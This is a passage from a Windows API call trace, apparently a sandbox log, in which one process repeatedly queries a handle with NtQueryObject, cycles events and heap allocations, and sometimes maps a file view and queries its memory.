ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.276] ResetEvent (hEvent=0x110) returned 1 [0072.276] SetEvent (hEvent=0x114) returned 1 [0072.276] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.276] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.276] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.276] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.276] ResetEvent (hEvent=0x110) returned 1 [0072.276] SetEvent (hEvent=0x114) returned 1 [0072.276] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.276] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.276] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.276] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.277] ResetEvent (hEvent=0x110) returned 1 [0072.277] SetEvent (hEvent=0x114) returned 1 [0072.277] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.277] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.277] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.277] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.277] ResetEvent (hEvent=0x110) returned 1 [0072.277] SetEvent (hEvent=0x114) returned 1 [0072.277] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.277] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.277] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.277] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.277] ResetEvent (hEvent=0x110) returned 1 [0072.277] SetEvent (hEvent=0x114) returned 1 [0072.277] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.277] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.278] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.278] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.278] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.278] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.278] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.278] ResetEvent (hEvent=0x110) returned 1 [0072.278] SetEvent (hEvent=0x114) returned 1 [0072.278] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.278] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.278] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.278] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.278] ResetEvent (hEvent=0x110) returned 1 [0072.278] SetEvent (hEvent=0x114) returned 1 [0072.278] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.278] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.278] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.278] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.279] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.279] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.279] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.279] ResetEvent (hEvent=0x110) returned 1 [0072.279] SetEvent (hEvent=0x114) returned 1 [0072.279] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.279] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.279] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.279] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.279] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.279] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.279] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.279] ResetEvent (hEvent=0x110) returned 1 [0072.279] SetEvent (hEvent=0x114) returned 1 [0072.279] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.279] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.280] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.280] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.280] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.280] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.280] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.280] ResetEvent (hEvent=0x110) returned 1 [0072.280] SetEvent (hEvent=0x114) returned 1 [0072.280] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.280] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.280] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.280] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.280] ResetEvent (hEvent=0x110) returned 1 [0072.280] SetEvent (hEvent=0x114) returned 1 [0072.280] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.280] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.280] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.280] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.281] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.281] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.281] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.281] ResetEvent (hEvent=0x110) returned 1 [0072.281] SetEvent (hEvent=0x114) returned 1 [0072.281] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.281] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.281] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.281] ResetEvent (hEvent=0x110) returned 1 [0072.281] SetEvent (hEvent=0x114) returned 1 [0072.281] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.281] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.281] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.281] ResetEvent (hEvent=0x110) returned 1 [0072.281] SetEvent (hEvent=0x114) returned 1 [0072.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.282] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.282] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.282] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.282] ResetEvent (hEvent=0x110) returned 1 [0072.282] SetEvent (hEvent=0x114) returned 1 [0072.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.282] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.282] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.282] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.282] ResetEvent (hEvent=0x110) returned 1 [0072.282] SetEvent (hEvent=0x114) returned 1 [0072.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.282] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.283] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.283] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.283] ResetEvent (hEvent=0x110) returned 1 [0072.283] SetEvent (hEvent=0x114) returned 1 [0072.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.283] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.283] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.283] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.283] ResetEvent (hEvent=0x110) returned 1 [0072.283] SetEvent (hEvent=0x114) returned 1 [0072.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.283] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.283] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.283] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.283] ResetEvent (hEvent=0x110) returned 1 [0072.283] SetEvent (hEvent=0x114) returned 1 [0072.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.284] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.284] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.284] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.284] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.284] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.284] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.284] ResetEvent (hEvent=0x110) returned 1 [0072.284] SetEvent (hEvent=0x114) returned 1 [0072.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.284] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.284] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.284] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.284] ResetEvent (hEvent=0x110) returned 1 [0072.284] SetEvent (hEvent=0x114) returned 1 [0072.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.284] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.285] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.285] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.285] ResetEvent (hEvent=0x110) returned 1 [0072.285] SetEvent (hEvent=0x114) returned 1 [0072.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.285] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.285] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.285] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.285] ResetEvent (hEvent=0x110) returned 1 [0072.285] SetEvent (hEvent=0x114) returned 1 [0072.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.285] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.285] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.285] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.285] ResetEvent (hEvent=0x110) returned 1 [0072.285] SetEvent (hEvent=0x114) returned 1 [0072.286] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.286] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.286] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.286] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.286] ResetEvent (hEvent=0x110) returned 1 [0072.286] SetEvent (hEvent=0x114) returned 1 [0072.286] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.286] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.286] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.286] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.286] ResetEvent (hEvent=0x110) returned 1 [0072.286] SetEvent (hEvent=0x114) returned 1 [0072.286] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.286] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.287] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.287] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.287] ResetEvent (hEvent=0x110) returned 1 [0072.287] SetEvent (hEvent=0x114) returned 1 [0072.287] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.287] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.287] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.287] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.287] ResetEvent (hEvent=0x110) returned 1 [0072.287] SetEvent (hEvent=0x114) returned 1 [0072.287] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.287] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.287] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.287] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.287] ResetEvent (hEvent=0x110) returned 1 [0072.287] SetEvent (hEvent=0x114) returned 1 [0072.288] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.288] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.288] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.288] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.288] ResetEvent (hEvent=0x110) returned 1 [0072.288] SetEvent (hEvent=0x114) returned 1 [0072.288] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.288] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.288] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.288] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.288] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.288] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.289] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.289] ResetEvent (hEvent=0x110) returned 1 [0072.289] SetEvent (hEvent=0x114) returned 1 [0072.289] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.289] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.289] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.289] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.289] ResetEvent (hEvent=0x110) returned 1 [0072.289] SetEvent (hEvent=0x114) returned 1 [0072.289] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.289] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.289] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.289] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.289] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.289] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.289] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.289] ResetEvent (hEvent=0x110) returned 1 [0072.289] SetEvent (hEvent=0x114) returned 1 [0072.290] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.290] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.290] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.290] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.290] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.290] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.290] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.290] ResetEvent (hEvent=0x110) returned 1 [0072.290] SetEvent (hEvent=0x114) returned 1 [0072.290] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.290] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.290] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.290] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.290] ResetEvent (hEvent=0x110) returned 1 [0072.290] SetEvent (hEvent=0x114) returned 1 [0072.290] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, 